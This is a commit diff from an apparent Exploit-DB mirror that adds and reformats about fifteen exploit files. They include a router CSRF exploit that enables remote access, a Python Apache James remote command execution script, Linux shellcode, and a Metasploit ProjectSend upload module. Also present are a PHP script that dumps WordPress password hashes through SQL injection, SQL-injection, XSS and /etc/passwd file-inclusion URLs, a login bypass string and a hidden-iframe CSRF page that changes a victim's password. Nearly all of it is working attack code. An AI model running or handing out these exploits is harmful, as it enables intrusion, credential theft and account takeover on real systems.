bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Update: 2015-01-01

Browse source 
15 new exploits
This commit is contained in:
Offensive Security 2015-01-01 08:39:22 +00:00
parent 5ab0a9cb63
commit 406b1feedc
34 changed files with 3309 additions and 2648 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

4606
files.csv
View file

File diff suppressed because it is too large Load diff

74
platforms/hardware/remote/7858.php
View file

@ -1,37 +1,37 @@
<?php <?php
/* /*
================================================ ================================================
|| Siemens ADSL SL2-141 (Router) CSRF Exploit || || Siemens ADSL SL2-141 (Router) CSRF Exploit ||
================================================ ================================================
- Successful attacks will allow remote access to the router over the internet. - Successful attacks will allow remote access to the router over the internet.
- Will Bruteforce the random security number, could possibly be calculated... - Will Bruteforce the random security number, could possibly be calculated...
- Uses default login, could use a dictionary too. - Uses default login, could use a dictionary too.
- PoC only, there are much more effective ways of doing this ;-) - PoC only, there are much more effective ways of doing this ;-)
======================================================================== ========================================================================
[+] Visit us at http://www.binaryvision.org.il/ for more information [+] [+] Visit us at http://www.binaryvision.org.il/ for more information [+]
======================================================================== ========================================================================
*/ */
$ip = (getenv(HTTP_X_FORWARDED_FOR))? getenv(HTTP_X_FORWARDED_FOR): getenv(REMOTE_ADDR); // local computers can use the remote address to login (!). $ip = (getenv(HTTP_X_FORWARDED_FOR))? getenv(HTTP_X_FORWARDED_FOR): getenv(REMOTE_ADDR); // local computers can use the remote address to login (!).
echo "<img src='http://Admin:Admin@$ip/'></img>"; // Uses the default login to auth (Admin:Admin), could use a dictionary instead. echo "<img src='http://Admin:Admin@$ip/'></img>"; // Uses the default login to auth (Admin:Admin), could use a dictionary instead.
// Just some stuff to keep the user busy, aka Rickroll // Just some stuff to keep the user busy, aka Rickroll
$mystr="<html><head><title>Unbelivable movie</title></head><center><script>function siera() {var bullshit='<center><h1>Possibly the funniest video on the web</h1><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\" width=\"800\" height=\"600\" id=\"movie\"> <param name=\"movie\" value=\"http://llnw.static.cbslocal.com/Themes/CBS/_resources/swf/vindex.swf\" /> <param name=\"quality\" value=\"high\" /> <param name=\"bgcolor\" value=\"#003366\" /> <embed src=\"http://llnw.static.cbslocal.com/Themes/CBS/_resources/swf/vindex.swf\" quality=\"high\" bgcolor=\"#ffffff\" width=\"800\" height=\"600\" name=\"mymoviename\" align=\"\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"> </embed> </object><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>'; $mystr="<html><head><title>Unbelivable movie</title></head><center><script>function siera() {var bullshit='<center><h1>Possibly the funniest video on the web</h1><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\" width=\"800\" height=\"600\" id=\"movie\"> <param name=\"movie\" value=\"http://llnw.static.cbslocal.com/Themes/CBS/_resources/swf/vindex.swf\" /> <param name=\"quality\" value=\"high\" /> <param name=\"bgcolor\" value=\"#003366\" /> <embed src=\"http://llnw.static.cbslocal.com/Themes/CBS/_resources/swf/vindex.swf\" quality=\"high\" bgcolor=\"#ffffff\" width=\"800\" height=\"600\" name=\"mymoviename\" align=\"\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"> </embed> </object><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>';
document.write(bullshit); document.write(bullshit);
// \"Random number\" bruteforce ... too lazy to write js :-) // \"Random number\" bruteforce ... too lazy to write js :-)
var buff = ''; var buff = '';
for(i=1;i<=11000;i++) { buff+=\"<img src='http://$ip/accessremote.cgi?checkNum=\"+i+\"&remoteservice=pppoe_8_48_1&enblremoteWeb=1&remotewebPort=8080'></img>\"; } for(i=1;i<=11000;i++) { buff+=\"<img src='http://$ip/accessremote.cgi?checkNum=\"+i+\"&remoteservice=pppoe_8_48_1&enblremoteWeb=1&remotewebPort=8080'></img>\"; }
document.write(buff); document.write(buff);
} }
</script><body onload='siera()'></body>"; </script><body onload='siera()'></body>";
echo $mystr; // Throw it all on the html page echo $mystr; // Throw it all on the html page
?> ?>
# milw0rm.com [2009-01-25] # milw0rm.com [2009-01-25]

74
platforms/linux/remote/35513.py Executable file
View file

@ -0,0 +1,74 @@
#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
import socket
import sys
import time
# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
if len(sys.argv) != 2:
sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
sys.exit(1)
ip = sys.argv[1]
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
print "[+]Connecting to James Remote Administration Tool..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,4555))
s.recv(1024)
s.send(user + "\n")
s.recv(1024)
s.send(pwd + "\n")
s.recv(1024)
print "[+]Creating user..."
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
s.recv(1024)
s.send("quit\n")
s.close()
print "[+]Connecting to James SMTP server..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,25))
s.send("ehlo team@team.pl\r\n")
recv(s)
print "[+]Sending payload..."
s.send("mail from: <'@team.pl>\r\n")
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
recv(s)
s.send("data\r\n")
recv(s)
s.send("From: team@team.pl\r\n")
s.send("\r\n")
s.send("'\n")
s.send(payload + "\n")
s.send("\r\n.\r\n")
recv(s)
s.send("quit\r\n")
recv(s)
s.close()
print "[+]Done! Payload will be executed once somebody logs in."
except:
print "Connection failed."

6
platforms/linux/remote/404.pl
View file

@ -43,6 +43,6 @@ print $_;
} }
print " "; print " ";
close $remote; close $remote;
# milw0rm.com [2004-08-19] # milw0rm.com [2004-08-19]

37
platforms/linux/shellcode/35519.txt Executable file
View file

@ -0,0 +1,37 @@
/*
Title: Linux x86 rmdir - 37 bytes
Author: kw4 <kw4.nop@gmail.com>
useful for testing purposes
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 6f 6c 68 6f push $0x6f686c6f
8048068: 68 68 6f 6c 68 push $0x686c6f68
804806d: 68 2f 68 6f 6c push $0x6c6f682f
8048072: 68 2f 74 6d 70 push $0x706d742f
8048077: 89 e3 mov %esp,%ebx
8048079: b0 28 mov $0x28,%al
804807b: cd 80 int $0x80
804807d: 31 c0 xor %eax,%eax
804807f: 89 c3 mov %eax,%ebx
8048081: b0 01 mov $0x1,%al
8048083: cd 80 int $0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6f\x6c\x68\x6f\x68\x68\x6f\x6c\x68\x68\x2f\x68\x6f\x6c\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x28\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd\x80";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

9
platforms/multiple/remote/19118.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/149/info
Microsoft IIS and other NT webservers contain a vulnerability that allows remote users to obtain the source code for an ASP file. When one appends ::$DATA to an asp being requested, the ASP source will be returned, instead of executing the ASP. For example: http://xyz/myasp.asp::$DATA will return the source of myasp.asp, instead of executing it.
The following proof of concept was provided:
http://xyz/myasp.asp::$DATA
This will cause IIS to disclose the contents of the page, myasp.asp, to an attacker.

166
platforms/php/remote/35660.rb Executable file
View file

@ -0,0 +1,166 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'ProjectSend Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ProjectSend
revisions 100 to 561. The 'process-upload.php' file allows
unauthenticated users to upload PHP files resulting in remote
code execution as the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fady Mohammed Osman', # Discovery and Exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '35424']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
['ProjectSend (PHP Payload)', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 02 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
], self.class)
end
#
# Checks if target upload functionality is working
#
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'process-upload.php')
)
if !res
vprint_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.code.to_i == 404
vprint_error("#{peer} - No process-upload.php found")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 500
vprint_error("#{peer} - Unable to write file")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
vprint_error("#{peer} - File process-upload.php is not executable")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
vprint_error("#{peer} - Software is misconfigured")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
# response on revision 118 onwards includes the file name
if res.body && res.body =~ /NewFileName/
return Exploit::CheckCode::Vulnerable
# response on revisions 100 to 117 does not include the file name
elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
return Exploit::CheckCode::Appears
elsif res.body && res.body =~ /Failed to open output stream/
vprint_error("#{peer} - Upload folder is not writable")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
#
# Upload PHP payload
#
def upload
fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
php = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
post_data = data.to_s
print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if !res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
elsif res.code.to_i == 500
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
# response on revision 118 onwards includes the file name
elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
print_good("#{peer} - Payload uploaded successfully (#{fname})")
return fname
# response on revisions 100 to 117 does not include the file name
elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
print_warning("#{peer} - File upload may have failed")
return fname
else
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end
#
# Execute uploaded file
#
def exec(upload_path)
print_status("#{peer} - Executing #{upload_path}...")
res = send_request_raw(
{ 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
)
if !res
print_status("#{peer} - Request timed out while executing")
elsif res.code.to_i == 404
vprint_error("#{peer} - Not found: #{upload_path}")
elsif res.code.to_i == 200
vprint_good("#{peer} - Executed #{upload_path}")
else
print_error("#{peer} - Unexpected reply")
end
end
#
# upload && execute
#
def exploit
fname = upload
register_files_for_cleanup(fname)
exec("upload/files/#{fname}") # default for r-221 onwards
unless session_created?
exec("upload/temp/#{fname}") # default for r-100 to r-219
end
end
end

52
platforms/php/webapps/35584.txt Executable file
View file

@ -0,0 +1,52 @@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
INDEPENDENT SECURITY RESEARCHER
PENETRATION TESTING SECURITY
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Exploit Title: GQ File Manager - Sql Injection - Cross Site Scripting Vulnerability's
# Date: 19/12/2014
# Url Vendor: http://installatron.com/phpfilemanager
# Vendor Name: GQ File Manager
# Version: 0.2.5
# CVE: CVE-2014-1137
# Author: TaurusOmar
# Tiwtter: @TaurusOmar_
# Email: taurusomar13@gmail.com
# Home: overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High
Description
GQ File Manager is a lightweight file manager that enables files to be uploaded to and downloaded from a server directory. GQ File Manager is great for creating and maintaining a simple cloud-based repository of files that can be accessed from anywhere on the Internet.
------------------------
+ CROSS SITE SCRIPTING +
------------------------
# Exploiting Description - Created new file example:("xss.html")in the document insert code xss
Input:
"><img src=x onerror=;;alert('XSS') />
Output:
<br />
<b>Warning</b>: fread() [<a href='function.fread'>function.fread</a>]: Length parameter must be greater than 0 in <b>/home/u138790842/public_html/gp/incl/edit.inc.php</b> on line <b>44</b><br />
"><img src=x onerror=alert("xss");>
#P0c
"><img src=x onerror=;;alert('XSS') />
#Proof Concept
http://i.imgur.com/cjIvR5l.jpg
------------------------
+ Sql Injection +
------------------------
# Exploiting Description - The Sql Injection in path created a new file.
#P0c
http://site.com/GQFileManager/index.php?&&output=create&create=[sql]
#Proof Concept
http://i.imgur.com/IJZoDVt.jpg

69
platforms/php/webapps/35591.txt Executable file
View file

@ -0,0 +1,69 @@
##################################################################################################
#Exploit Title : phpMyRecipes 1.2.2 SQL injection(page browse.php, parameter category)
#Author : Manish Kishan Tanwar
#Download Link : http://prdownloads.sourceforge.net/php-myrecipes/phpMyRecipes-1.2.2.tar.gz?download
#Date : 23/12/2014
#Discovered at : IndiShell Lab
# Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti
# email : manish.1046@gmail.com
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
phpMyRecipes is a simple application for storing and retrieving recipes.
It uses a web-based interface, for ease of use across any system, and a MySQL database backend for storing the recipes.
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to parameter category in browse.php
parameter category is passing to function GetCategoryNameByID without data filtering and due to it, SQL injection vulnerability is arising.
from line 38 to 56
$category = $_GET['category'];
}
$session = getsession();
c_header("Browse Recipes", "browse");
# Build a category string
$cat = $category;
$catstr = "";
while ($cat != 1) {
if ($catstr == "") {
$catstr = "<A HREF=\"" . slink("browse.php?category=$cat") . "\">" . GetCategoryNameByID($cat) . "</A>" . $catstr;
} else {
$catstr = "<A HREF=\"" . slink("browse.php?category=$cat") . "\">" . GetCategoryNameByID($cat) . "</A> > " . $catstr;
}
$cat = GetCategoryParentByID($cat);
}
////////////////
/// POC ////
///////////////
POC image=http://oi57.tinypic.com/inv3ol.jpg
payload for extracting database name
set value of category parameter to 1 and add error based SQL injection payload to url
http://127.0.0.1/pr/browse.php?category=1 and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
--==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das
#############################################################################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3

13
platforms/php/webapps/35626.txt Executable file
View file

@ -0,0 +1,13 @@
Exploit Title: Easy File Sharing Webserver =>6.8 Persistent XSS
Date: 12/26/14
Exploit Author: SickPsycko
Vendor Homepage: http://www.sharing-file.com/
Version:6.8
Tested on: Windows 7 32bit
The exploit is within the username field.
So to exploit this vulnerability, One must place the payload into the
specified field when registering.
http://i.imgur.com/bibu81C.png
Once logged in. User will be greeted with such.

14
platforms/php/webapps/35653.txt Executable file
View file

@ -0,0 +1,14 @@
source: http://www.securityfocus.com/bid/47552/info
Nuke Evolution Xtreme is prone to a local file-include vulnerability and an SQL-injection vulnerability.
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process.
The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Nuke Evolution Xtreme 2.0 is vulnerable; other versions may also be affected.
http://www.example.com/[path]/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5--
http://www.example.com/[path]/modules.php?name=News&file=../../../../../../../../../../etc/passwd%00
http://www.example.com/[path]/modules.php?name=Private_Messages&file=../../../../../../../../../../etc/passwd%00

9
platforms/php/webapps/35655.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/47569/info
TemaTres is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
TemaTres 1.3 is vulnerable; prior versions may also be affected.
http://www.example.com/tematres1.3/vocab/index.php?_search_expresions=[xss]

67
platforms/php/webapps/35657.php Executable file
View file

@ -0,0 +1,67 @@
source: http://www.securityfocus.com/bid/47574/info
The Sermon Browser plugin for WordPress is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Sermon Browser 0.43 is vulnerable; other versions may also be affected.
<?php
if(!$argv[1])
die("
Usage : php exploit.php [site]
Example : php exploit.php http://site.com/wp/
");
print_r("
# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz
-==[ ExPloiT ]==-
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
-==[ Start ]==-
");
$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
function text2hex($string) {
$hex = '';
$len = strlen($string) ;
for ($i = 0; $i < $len; $i++) {
$hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
}
return $hex;
}
foreach($t as $r=>$y){
$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
echo $u = ($dz[1][0]) ? "[-] $r : ".$dz[1][0]."\n" : "[-] $r : Failed !\n";
}
print_r("
-==[ Finished ]==-
");
# By Lagripe-Dz .. !
# END .. !
?>

9
platforms/php/webapps/35658.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/47576/info
html-edit CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
html-edit CMS 3.1.9 is vulnerable; other versions may also be affected.
http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS]

19
platforms/php/webapps/35659.txt Executable file
View file

@ -0,0 +1,19 @@
# Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability
# Date: 29-12-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.5
# Vendor Homepage:
http://codecanyon.net/item/social-microblogging-pro/9217005
# Tested on: Chrome & Iceweasel
# Vulnerability Description:
===Stored XSS===
"Web Site" input is not secure at Profile section. You can run XSS payloads
on "Web Site" input.
Sample Payload for Stored XSS: http://example.com/">[xssPayload]
=Solution=
Filter the input field against to XSS attacks.
================

32
platforms/php/webapps/3862.txt
View file

@ -1,16 +1,16 @@
================================================= =================================================
+ +
+ Xoops wfquotes module v1.0 0 Remote Blind SQL Injection + Xoops wfquotes module v1.0 0 Remote Blind SQL Injection
+ +
================================================= =================================================
+ +
+ Bulan: Cyber-Ssecurity + Bulan: Cyber-Ssecurity
+ +
================================================= =================================================
+ +
+ Exploit: + Exploit:
+ /modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/* + /modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*
+ +
================================================= =================================================
# milw0rm.com [2007-05-06] # milw0rm.com [2007-05-06]

110
platforms/php/webapps/7333.txt
View file

@ -1,55 +1,55 @@
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ + + +
+ Web Based Contact Management (Auth Bypass) SQL Injection Vulnerability + + Web Based Contact Management (Auth Bypass) SQL Injection Vulnerability +
+ + + +
+ Discovered by b3hz4d + + Discovered by b3hz4d +
+ + + +
+ WwW.DeltaHacking.Net + + WwW.DeltaHacking.Net +
+ + + +
+ + + +
+ + + +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
APA Center of Yazd University APA Center of Yazd University
(https://www.ircert.cc) (https://www.ircert.cc)
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi) AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE : 03 Dec 2008 DATE : 03 Dec 2008
SITE : WwW.DeltaHacking.Net SITE : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com CONTACT: behzad_sh_66@yahoo.com
##################################################### #####################################################
APPLICATION : Web Based Contact Management APPLICATION : Web Based Contact Management
DOWNLOAD(199$): http://www.aliensoftcorp.com/contactmanager.htm DOWNLOAD(199$): http://www.aliensoftcorp.com/contactmanager.htm
VENDOR : http://www.aliensoftcorp.com/ VENDOR : http://www.aliensoftcorp.com/
DEMO : http://www.aliensoftcorp.com/contactmanager.htm DEMO : http://www.aliensoftcorp.com/contactmanager.htm
##################################################### #####################################################
[+] vuln : [+] vuln :
Admin login page Admin login page
All versions (SOHO Version, Standard Version, Enterprise Version) are vulnerable. All versions (SOHO Version, Standard Version, Enterprise Version) are vulnerable.
All Demo links are here: All Demo links are here:
http://www.aliensoftcorp.com/contactmanager.htm http://www.aliensoftcorp.com/contactmanager.htm
[+] Exploit : [+] Exploit :
USER: anything USER: anything
PASS: delta' or 'a'='a PASS: delta' or 'a'='a
########################################################################################################## ##########################################################################################################
# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com # # Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #
########################################################################################################## ##########################################################################################################
# milw0rm.com [2008-12-03] # milw0rm.com [2008-12-03]

80
platforms/php/webapps/7557.txt
View file

@ -1,40 +1,40 @@
PHPmotion <= 2.1 CSRF vulnerability PHPmotion <= 2.1 CSRF vulnerability
Author: Ausome1 Author: Ausome1
Email: Ausorme1@gmail.com Email: Ausorme1@gmail.com
Website: http://www.enigmagroup.org Website: http://www.enigmagroup.org
Description: Change a member's password and/or email. Description: Change a member's password and/or email.
--------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------
Social engineer a PHPMotion member to come to your web page with the following hidden iframe on Social engineer a PHPMotion member to come to your web page with the following hidden iframe on
there, which pulls in the evil script from pwned.html. This will change the victim's password and email, there, which pulls in the evil script from pwned.html. This will change the victim's password and email,
using their credentials. using their credentials.
We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In
the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used
to submit the form on page load. to submit the form on page load.
Hidden iframe code: Hidden iframe code:
<iframe id="hiframe" style="visibility:hidden;display:none" src="pwned.html"></iframe> <iframe id="hiframe" style="visibility:hidden;display:none" src="pwned.html"></iframe>
Source of pwned.html file: Source of pwned.html file:
<html> <html>
<head></head> <head></head>
<body onload="document.forms.invite.submit();"> <body onload="document.forms.invite.submit();">
<form name="invite" action="http://demo.phpmotiontemplates.com/v2/default/password.php" method="post" class="UpdateProfileForm"> <form name="invite" action="http://demo.phpmotiontemplates.com/v2/default/password.php" method="post" class="UpdateProfileForm">
<input type="hidden" name="submitted" value="yes" /> <input type="hidden" name="submitted" value="yes" />
<input type="password" name="password" value="password123" /> <input type="password" name="password" value="password123" />
<input type="text" name="email_address" size="36" value="NotYourEmail@anymore.com" /> <input type="text" name="email_address" size="36" value="NotYourEmail@anymore.com" />
<input type="submit" value="Update settings" name="invite_fr" /> <input type="submit" value="Update settings" name="invite_fr" />
</form> </form>
</html> </html>
Once your victim has visited your evil page, You may now be able to log into their PHPMotion account, Once your victim has visited your evil page, You may now be able to log into their PHPMotion account,
using password "password123" and their email will be "NotYourEmail@anymore.com". using password "password123" and their email will be "NotYourEmail@anymore.com".
# milw0rm.com [2008-12-23] # milw0rm.com [2008-12-23]

122
platforms/windows/dos/1276.html
View file

@ -1,61 +1,61 @@
<!-- <!--
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service
Release Date: Release Date:
October 24, 2005 October 24, 2005
Date Reported: Date Reported:
August 14, 2005 August 14, 2005
Severity: Severity:
Medium Medium
Vendor: Vendor:
Microsoft Microsoft
Versions Affected: Versions Affected:
Internet Explorer 6.0 on Windows XP SP2 Internet Explorer 6.0 on Windows XP SP2
Overview: Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding. A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.
Technical Details: Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue. The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue.
.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56 j .text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56 j
.text:76235680 ; sub_762355EC+62 j ... .text:76235680 ; sub_762355EC+62 j ...
.text:76235680 mov eax, [esi+8] .text:76235680 mov eax, [esi+8]
